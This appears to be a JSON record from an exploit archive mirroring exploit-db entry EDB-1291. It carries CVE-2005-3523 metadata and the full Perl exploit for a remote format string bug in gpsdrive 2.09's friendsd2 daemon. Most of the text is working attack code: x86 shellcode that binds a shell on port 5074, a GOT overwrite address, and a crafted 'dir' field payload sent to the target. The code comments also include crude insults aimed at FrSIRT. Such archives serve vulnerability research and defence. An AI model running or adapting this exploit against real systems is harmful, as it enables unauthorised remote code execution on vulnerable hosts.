{"exploit":{"id":"EDB-1291","name":"gpsdrive 2.09 (x86) - 'friendsd2' Remote Format String","description":"gpsdrive 2.09 (x86) - 'friendsd2' Remote Format String","cves":["CVE-2005-3523"],"author":"Kevin Finisterre","published":"2005-11-04","platform":"linux_x86","type":"remote","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1291","path":"exploits/linux_x86/remote/1291.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1291.pl","vulnerabilities":[{"id":"CVE-2005-3523","state":"PUBLISHED","title":null,"titleSource":null,"description":"Format string vulnerability in friendsd2 in GpsDrive allows remote attackers to execute arbitrary code via the dir (direction) field.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-3523","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-3523"},"updatedAt":"2024-08-07T23:17:22.903Z","retrievedAt":"2026-11-26T16:06:09.624Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1291.png?v=2","url":"https://exploitbin.com/exploits/EDB-1291","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1291/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1291/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl -w\n#\n# Code by KF, although it is most likely ripped from John H.\n#  (kf_lists[at]digital_munition[dot]com)\n#\n# http://www.digitalmunition.com\n#\n# FrSIRT 24/24 & 7/7 - Centre de Recherche on Donkey Testicles.\n# Free 14 day Testicle licking trial available!\n#\n# friendsd.c:367:   fprintf (stderr, txt);\n#\n# Tested on intel using gpsdrive_2.09-2_i386.deb\n#\n# kfinisterre@animosity:~$ telnet localhost 5074\n# Trying 127.0.0.1...\n# Connected to animosity\n# Escape character is '^]'.\n# id;\n# uid=1000(kfinisterre) gid=1000(kfinisterre) groups=1000(kfinisterre)\n# : command not found\n#\n# s0t4ipv6@Shellcode.com.ar\n# x86 portbind a shell in port 5074\n# 92 bytes.\n#\n# This shit is NOT robust and most likely will NOT work on kernel 2.6.12\n# because of the random address space. Find your own damn pointers to overwrite\n#\n$shellcode  = \"\\x90\" x 2 .\n\"\\x31\\xc0\" .\t\t\t# xorl\t\t%eax,%eax\n\"\\x50\" .\t\t\t# pushl\t%eax\n\"\\x40\" .\t\t\t# incl\t\t%eax\n\"\\x89\\xc3\" .\t\t\t# movl\t\t%eax,%ebx\n\"\\x50\" .\t\t\t# pushl\t%eax\n\"\\x40\" .\t\t\t# incl\t\t%eax\n\"\\x50\" .\t\t\t# pushl\t%eax\n\"\\x89\\xe1\" .\t\t\t# movl\t\t%esp,%ecx\n\"\\xb0\\x66\" .\t\t\t# movb\t\t$0x66,%al\n\"\\xcd\\x80\" .\t\t\t# int\t\t$0x80\n\"\\x31\\xd2\" .\t\t\t# xorl\t\t%edx,%edx\n\"\\x52\" .\t\t\t# pushl\t%edx\n\"\\x66\\x68\\x13\\xd2\" .\t\t# pushw\t$0xd213\n\"\\x43\" .\t\t\t# incl\t\t%ebx\n\"\\x66\\x53\" .\t\t\t# pushw\t%bx\n\"\\x89\\xe1\" .\t\t\t# movl\t\t%esp,%ecx\n\"\\x6a\\x10\" .\t\t\t# pushl\t$0x10\n\"\\x51\" .\t\t\t# pushl\t%ecx\n\"\\x50\" .\t\t\t# pushl\t%eax\n\"\\x89\\xe1\" .\t\t\t# movl\t\t%esp,%ecx\n\"\\xb0\\x66\" .\t\t\t# movb\t\t$0x66,%al\n\"\\xcd\\x80\" .\t\t\t# int\t\t$0x80\n\"\\x40\" .\t\t\t# incl\t\t%eax\n\"\\x89\\x44\\x24\\x04\" .\t\t# movl\t\t%eax,0x4(%esp,1)\n\"\\x43\" .\t\t\t# incl\t\t%ebx\n\"\\x43\" .\t\t\t# incl\t\t%ebx\n\"\\xb0\\x66\" .\t\t\t# movb\t\t$0x66,%al\n\"\\xcd\\x80\" .\t\t\t# int\t\t$0x80\n\"\\x83\\xc4\\x0c\" .\t\t# addl\t\t$0xc,%esp\n\"\\x52\" .\t\t\t# pushl\t%edx\n\"\\x52\" .\t\t\t# pushl\t%edx\n\"\\x43\" .\t\t\t# incl\t\t%ebx\n\"\\xb0\\x66\" .\t\t\t# movb\t\t$0x66,%al\n\"\\xcd\\x80\" .\t\t\t# int\t\t$0x80\n\"\\x93\" .\t\t\t# xchgl\t%eax,%ebx\n\"\\x89\\xd1\" .\t\t\t# movl\t\t%edx,%ecx\n\"\\xb0\\x3f\" .\t\t\t# movb\t\t$0x3f,%al\n\"\\xcd\\x80\" .\t\t\t# int\t\t$0x80\n\"\\x41\" .\t\t\t# incl\t\t%ecx\n\"\\x80\\xf9\\x03\" .\t\t# cmpb\t\t$0x3,%cl\n\"\\x75\\xf6\" .\t\t\t# jnz\t\t<shellcode+0x40>\n\"\\x52\" .\t\t\t# pushl\t%edx\n\"\\x68\\x6e\\x2f\\x73\\x68\" .\t# pushl\t$0x68732f6e\n\"\\x68\\x2f\\x2f\\x62\\x69\" .\t# pushl\t$0x69622f2f\n\"\\x89\\xe3\" .\t\t\t# movl\t\t%esp,%ebx\n\"\\x52\" .\t\t\t# pushl\t%edx\n\"\\x53\" .\t\t\t# pushl\t%ebx\n\"\\x89\\xe1\" .\t\t\t# movl\t\t%esp,%ecx\n\"\\xb0\\x0b\" .\t\t\t# movb\t\t$0xb,%al\n\"\\xcd\\x80\";\t\t\t# int\t\t$0x80\n\nuse Net::Friends;\nuse Data::Dumper;\n\n$name = 'GPSDRIVE-aaaa';\n\n# 0804bb84 R_386_JUMP_SLOT   recvfrom\n$addy  = \"\\x86\\xbb\\x04\\x08\";  # This is the write address.\n$addy2 = \"\\x84\\xbb\\x04\\x08\";\n\n#$retaddr = 0xbfffba7c;  # Retaddr when using gdb\n$retaddr = 0xbfffba8a;  # Retaddr when NOT using gdb. Its that same kick you in the face styleee from the ppc sploit.\n\n$lo = ($retaddr >> 0) & 0xffff;\n$hi = ($retaddr >> 16) & 0xffff;\n\n$hi = $hi - 0x4c;\n$lo = (0x10000 + $lo) - $hi - 0x4c;\n\n$hi =1; $lo =1;\n\n$dir = \"$addy$addy2%.\" . $hi . \"d%379\\$x%.\" . $lo . \"d%380\\$x$shellcode\";\n\n$friends = Net::Friends->new(shift || 'localhost');\n$friends->report(name => $name, lat => '1111', lon => '2222', speed => '3333', dir => $dir);\n\nprint Dumper($friends->query);\n\n# P.S. - I fart in the general direction of Fr-Sirt.\n\n# milw0rm.com [2005-11-04]","sha256":"216f66540853c8cb5fce94ff58a6e7b5c289fdefdb69ff7a09f12202364da389","bytes":3174,"fetchedAt":"2026-11-26T16:06:04.941Z","encoding":"utf-8 (display only; download retains original bytes)"}